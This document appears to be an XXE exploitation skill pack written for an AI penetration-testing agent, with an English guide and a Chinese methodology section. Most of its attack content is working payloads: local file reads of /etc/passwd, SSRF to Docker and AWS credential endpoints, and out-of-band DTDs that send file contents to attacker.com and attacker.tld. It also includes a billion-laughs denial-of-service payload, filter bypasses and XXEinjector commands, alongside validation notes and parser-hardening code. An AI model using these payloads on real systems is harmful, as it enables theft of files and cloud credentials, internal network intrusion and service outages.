Xxe testing

Xxe Testing

penkit51 AI — professional penetration testing skill pack. Authorized testing only.

Deep Exploitation Guide

XXE

XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.

Attack Surface

Capabilities

• File disclosure: read server files and configuration
• SSRF: reach metadata services, internal admin panels, service ports
• DoS: entity expansion (billion laughs), external resource amplification

Injection Surfaces

• REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
• PDF generators, build/report pipelines, config importers

Transclusion

• XInclude and XSLT document() loading external resources

High-Value Targets

File Uploads

• SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
• Android/iOS plist, project config imports

Protocols

• SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
• RSS/Atom feeds, server-side renderers and converters

Hidden Paths

• Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
• Processing-instruction headers

Detection Channels

Direct

• Inline disclosure of entity content in the HTTP response, transformed output, or error pages

Error-Based

• Coerce parser errors that leak path fragments or file content via interpolated messages

OAST

• Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
• Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
• Use interactsh-client -v for the callback domain. Reference it as the external DTD host (e.g. <!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">) and read the DNS/HTTP hit on the interactsh stdout.

Timing

• Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)

Core Payloads

Local File

<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>

<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<r>&xxe;</r>

SSRF

<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
<r>&xxe;</r>

<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
<r>&xxe;</r>

OOB Parameter Entity

<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>

evil.dtd:

<!ENTITY % f SYSTEM "file:///etc/hostname">
<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
%e; %exfil;

Key Vulnerabilities

Parameter Entities

• Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
• Works even when general entities are sanitized in the XML tree

XInclude

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.

XSLT Document

XSLT processors can fetch external resources via document():

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.

Protocol Wrappers

• Java: jar:, netdoc:
• PHP: php://filter, expect:// (when module enabled)
• Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes

Bypass Techniques

Encoding Variants

• UTF-16/UTF-7 declarations, mixed newlines
• CDATA and comments to evade naive filters

DOCTYPE Variants

• PUBLIC vs SYSTEM, mixed case <!DoCtYpE>
• Internal vs external subsets, multi-DOCTYPE edge handling

Network Controls

• If network blocked but filesystem readable, pivot to local file disclosure
• If files blocked but network open, pivot to SSRF/OAST

Special Contexts

SOAP

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <d>&xxe;</d>
  </soap:Body>
</soap:Envelope>

SAML

• Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
• Test ACS endpoints with minimal probes

SVG and Renderers

• Inline SVG and server-side SVG→PNG/PDF renderers process XML
• Attempt local file reads via entities/XInclude

Office Docs

• OOXML (docx/xlsx/pptx) are ZIPs containing XML
• Insert payloads into document.xml, rels, or drawing XML and repackage

Testing Methodology

1. Inventory consumers - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
2. Capability probes - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
3. Establish oracle - Error shape, length/ETag diffs, OAST callbacks
4. Escalate - Targeted file/SSRF payloads
5. Validate parity - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs

Validation

1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
3. Confirm blind channels with OAST and correlate to the triggering request
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
5. Bound impact: exact files/data reached or internal targets proven

False Positives

• DOCTYPE accepted but entities not resolved and no transclusion reachable
• Filters or sandboxes that emit entity strings literally (no IO performed)
• Mocks/stubs that simulate success without network/file access
• XML processed only client-side (no server parse)

Impact

• Disclosure of credentials/keys/configs, code, and environment secrets
• Access to cloud metadata/token services and internal admin panels
• Denial of service via entity expansion or slow external resources
• Code execution via XSLT/expect:// in insecure stacks

Pro Tips

1. Prefer OAST first; it is the quietest confirmation in production-like paths
2. When content is sanitized, use error-based and length/ETag diffs
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
7. Test background processors separately; they often use different parser settings
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
9. Combine with path traversal and deserialization where XML touches downstream systems
10. Document exact parser behavior per stack; defenses must match real libraries and flags

Summary

XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.

Platform Methodology

XXE XML外部实体注入测试

概述

XXE（XML External Entity）注入是一种利用XML解析器处理外部实体的漏洞。本技能提供XXE漏洞的检测、利用和防护方法。

漏洞原理

XML解析器在处理外部实体时，可能读取本地文件、进行SSRF攻击或导致拒绝服务。常见于：

• XML文档解析
• SOAP服务
• Office文档（.docx, .xlsx等）
• SVG图片
• PDF文件

测试方法

1. 识别XML输入点

• 文件上传功能
• API接口接受XML数据
• SOAP请求
• Office文档处理
• 数据导入功能

2. 基础XXE检测

测试外部实体：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

测试网络请求（SSRF）：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>

3. 盲XXE检测

当响应不直接显示内容时：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
]>
<foo>&xxe;</foo>

使用参数实体：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

evil.dtd内容：

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;

利用技术

文件读取

读取本地文件：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Windows路径：

<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">

SSRF攻击

内网探测：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>

端口扫描：

<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">

拒绝服务

Billion Laughs攻击：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>

Office文档XXE

docx文件结构：

word/document.xml - 包含文档内容
word/_rels/document.xml.rels - 包含外部引用

修改document.xml.rels：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships>
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
</Relationships>

绕过技术

不同协议

PHP：

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

Java：

<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">

编码绕过：

<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">

参数实体

利用参数实体绕过某些限制：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>test</foo>

工具使用

XXEinjector

# 基础使用
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml

# 文件读取
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd

Burp Suite

1. 拦截包含XML的请求
2. 发送到Repeater
3. 修改XML内容，添加外部实体
4. 观察响应或外带数据

验证和报告

验证步骤

1. 确认XML解析器处理外部实体
2. 验证文件读取或SSRF是否成功
3. 评估影响范围（敏感文件、内网访问等）
4. 记录完整的POC

报告要点

• 漏洞位置和XML输入点
• 可读取的文件或可访问的内网资源
• 完整的利用步骤和PoC
• 修复建议（禁用外部实体、使用白名单等）

防护措施

推荐方案

1. 禁用外部实体

   // Java
   DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
   dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
   dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
   dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
   

2. 使用白名单验证

   • 验证XML结构
   • 限制允许的实体

3. 使用安全的解析器

   • 使用不处理DTD的解析器
   • 使用JSON替代XML

注意事项

• 仅在授权测试环境中进行
• 避免读取敏感文件造成数据泄露
• 注意不同语言和库的XXE处理差异
• 测试Office文档时注意文件格式

Validation & Reporting

• Confirm every finding with reproducible PoC before reporting
• Document: severity (CVSS), affected asset, steps, evidence, remediation
• Use record_vulnerability when running inside the penkit51 platform
• Chain low-severity findings into higher-impact attack paths
• Never report without evidence — distinguish hypothesis from confirmed vuln